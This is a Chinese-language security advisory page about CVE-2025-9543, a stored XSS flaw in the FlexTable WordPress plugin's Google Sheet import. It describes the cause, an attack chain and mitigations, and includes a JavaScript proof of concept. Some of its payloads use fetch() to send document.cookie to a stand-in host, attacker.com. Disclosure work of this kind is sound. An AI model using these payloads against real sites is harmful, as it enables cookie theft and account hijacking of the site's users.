IPBUF安全漏洞报告
English
CVE-2025-9543 CVSS 3.5 低危

CVE-2025-9543 FlexTable WordPress插件存储型XSS漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-9543
漏洞类型
存储型XSS
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
FlexTable WordPress插件

相关标签

存储型XSSWordPress插件漏洞FlexTableGoogle Sheet集成CVE-2025-9543跨站脚本攻击CMS安全

漏洞概述

CVE-2025-9543是WordPress FlexTable插件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于FlexTable插件3.19.2之前的版本中,由于插件在从Google Sheet导入数据时,未能对单元格中的链接进行适当的消毒和转义处理,导致恶意脚本代码可以被存储到数据库中。攻击者利用此漏洞可以注入恶意JavaScript代码,当其他用户访问包含恶意内容的页面时,代码将在受害者浏览器中执行。值得注意的是,即使在多站点配置或unfiltered_html能力被禁用的情况下,具有管理员权限的高特权用户仍然可以利用此漏洞发起攻击。攻击者可以通过在Google Sheet的单元格中插入包含恶意脚本的链接,当FlexTable插件导入这些数据时,恶意代码将被持久化存储在WordPress数据库中,任何访问相关页面的用户都可能受到攻击。该漏洞的CVSS评分为3.5,属于低危级别,主要影响需要管理员权限才能利用,且需要用户交互才能触发。

技术细节

FlexTable WordPress插件在处理从Google Sheet导入的数据时存在安全漏洞。插件的导入功能允许用户从Google Sheet获取表格数据并显示在WordPress网站上。问题出在插件对导入的链接数据缺乏适当的输入验证和输出编码。当插件处理Google Sheet单元格中的链接时,直接将URL内容插入到HTML页面中,而没有进行XSS过滤。具体来说,插件在渲染表格单元格时,使用了类似echo或print的函数直接输出从Google API获取的链接文本,攻击者可以在Google Sheet的单元格中构造包含JavaScript事件处理器的恶意链接,如:<a href="javascript:alert(document.cookie)">Click</a>或<img src=x onerror=alert(1)>。这些恶意内容被存储在WordPress数据库中,当页面被访问时,恶意脚本将以存储型XSS的形式在受害者浏览器中执行。由于插件未使用esc_html或esc_attr等WordPress安全函数进行输出编码,攻击者可以绕过常规的XSS防护措施。

攻击链分析

STEP 1
步骤1
攻击者获取FlexTable插件的管理员权限访问权限
STEP 2
步骤2
攻击者创建一个包含恶意JavaScript代码的Google Sheet,在链接单元格中注入XSS payload
STEP 3
步骤3
攻击者通过FlexTable插件的Google Sheet导入功能,将恶意数据导入到WordPress网站
STEP 4
步骤4
插件将未经过滤的恶意代码存储到WordPress数据库中
STEP 5
步骤5
当其他用户访问显示FlexTable内容的页面时,恶意脚本在受害者浏览器中执行
STEP 6
步骤6
攻击者通过XSS成功窃取用户会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-9543 PoC - FlexTable WordPress Plugin Stored XSS // This PoC demonstrates how an attacker can inject malicious scripts via Google Sheet import // Step 1: Prepare malicious Google Sheet with XSS payload in link cells const maliciousSheetData = [ ['Product', 'Price', 'Link'], ['Item1', '$100', '<a href="javascript:alert(document.domain)">View Details</a>'], ['Item2', '$200', '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>>'], ['Item3', '$300', '<svg onload=fetch("https://attacker.com/log?d="+btoa(document.cookie))>'] ]; // Step 2: Configure FlexTable to import from the malicious Google Sheet const flexTableConfig = { plugin: 'FlexTable', version: '3.19.1', // Vulnerable version importSource: 'google_sheet', sheetId: 'MALICIOUS_SHEET_ID', autoUpdate: true }; // Step 3: XSS payload triggers when page renders the table // The injected JavaScript executes in victim browser context // Example attack URL pattern: // Admin accesses: /wp-admin/admin.php?page=flex-table&action=import // Or any page displaying the imported table content

影响范围

FlexTable WordPress插件 < 3.19.2

防御指南

临时缓解措施
如果无法立即升级插件,可以考虑以下临时缓解措施:1) 限制只有完全受信任的管理员才能使用FlexTable的Google Sheet导入功能;2) 在Web应用防火墙(WAF)中配置XSS防护规则;3) 对所有导入的Google Sheet内容进行手动审核后再发布;4) 在多站点环境中,考虑禁用unfiltered_html能力的同时,对FlexTable插件进行额外的安全加固;5) 监控管理员账户的异常活动,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表